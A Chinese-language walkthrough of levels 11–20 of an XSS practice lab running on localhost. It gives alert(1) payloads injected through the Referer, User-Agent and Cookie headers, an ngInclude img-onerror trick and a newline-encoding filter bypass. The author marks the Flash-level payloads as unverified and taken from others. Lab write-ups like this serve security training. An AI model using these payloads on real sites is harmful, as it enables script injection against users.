书接上文,我们这里对后 10 关进行破解。由于这里很多环境已经不支持,所以在最终的 payload 总结中有部分未经测验的他人的 payload。
Less-11
与第 10 关类似,这里同样没有输入框。继续查看源码,我们发现这里多了一个新的输入框,参数名为 t_ref
。但我们发现,这里的变量已经有了一个值为 http://localhost:8091/level10.php?keyword=test&t_link=1&t_history=2&t_sort=%22%20onmouseover=alert(1)%20type=%22%22
,是不是非常眼熟?这就是我们上一关的 Payload。
为了验证我们的猜想,我们尝试 GET
传入参数 t_ref
,发现该值并没有变化。根据变量名称的提示,我们可以想到一个在包内的参数 Referer
。简单来说就是我们跳转到这个网页前的另一个网页地址。因此为了实现 XXS,这里我们只需修改 HTTP Header 中的 Referer
参数即可。
这里 payload 测试的过程就不介绍了,安装前 10 关的思路进行尝试即可,最终 payload 为:
# 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level11.php Referer = " onmouseover="alert(1)" type="
|
Less-12
在前一关的基础上,我们已经了解了 Header 可以作为注入点,而这里的值一看就知道它是来自于参数 User-Agent
。于是 payload 为:
# 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level12.php User-Agent = " onmouseover="alert(1)" type="
|
Less-13
同理,这里修改参数 Cookie
即可,payload 为:
# 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level13.php Cookie = " onmouseover="alert(1)" type="
|
Less-14
这一关我进来之后发现一片空白,找了半天也不知道怎么下手,于是搜了下师傅们的 wp,原来这题本意是嵌入了一个含有 exifviewer 的网页,制作好 xss 上传即可触发,但现在环境已经不能用了。另外还发现这个漏洞还有一个有趣的历史。
Less-15
这里我们发现有一个 GET
参数 src
,于是尝试修改发现源码中有一条这样的内容。查询 ngInclude
后发现它会获取并编译外部 HTML 片段。
这里我尝试改为 level1.php
,发现这里变成了如下图所示的内容。
所以这里只需要将满足弹窗即可,于是 payload 为:
# 无效 http://localhost:8091/level15.php?src='level1.php?name=<script>alert(1)</script>' # 有效(使用 img 标签导入一个不存在的图片,然后触发错误动作) http://localhost:8091/level15.php?src='level1.php?name=<img src=noexist onerror=alert(1)>'
|
Less-16
这里我们同样直接使用 15 关的 payload,发现空格被编码为
,于是尝试编码绕过。
这里我们将其转换为 %0d
或 %0a
绕过空格过滤即可。最终 payload 为:
http://localhost:8091/level16.php?keyword=<img%0asrc=noexist%0aonerror=alert(1)>
|
Less-17-20
这部分均与 Flash 插件有关,但由于目前 Chrome 已经不支持该插件,因此后续的内容无法实现了。这里有几个参考的 WP。
WP 1 (无 19-20)、WP 2 (有19-20)
Payload 总结
# less-11 # 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level11.php Referer = " onmouseover="alert(1)" type="
# less-12 # 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level12.php User-Agent = " onmouseover="alert(1)" type="
# less-13 # 随后触发 onmouseover 动作即可 URL = http://localhost:8091/level13.php Cookie = " onmouseover="alert(1)" type="
# less-14 (空缺)
# less-15 # 有效(使用 img 标签导入一个不存在的图片,然后触发错误动作) http://localhost:8091/level15.php?src='level1.php?name=<img src=noexist onerror=alert(1)>'
# less-16 http://localhost:8091/level16.php?keyword=<img%0asrc=noexist%0aonerror=alert(1)>
# less-17(未经确认) http://localhost:8091/level17.php?arg01=a&arg02= onmouseover=alert(1)
# less-18(未经确认) http://localhost:8091/level18.php?arg01=a&arg02=b onmouseout=alert(1)
# less-19(未经确认) http://localhost:8091/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
# less-20(未经确认) http://localhost:8091/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
|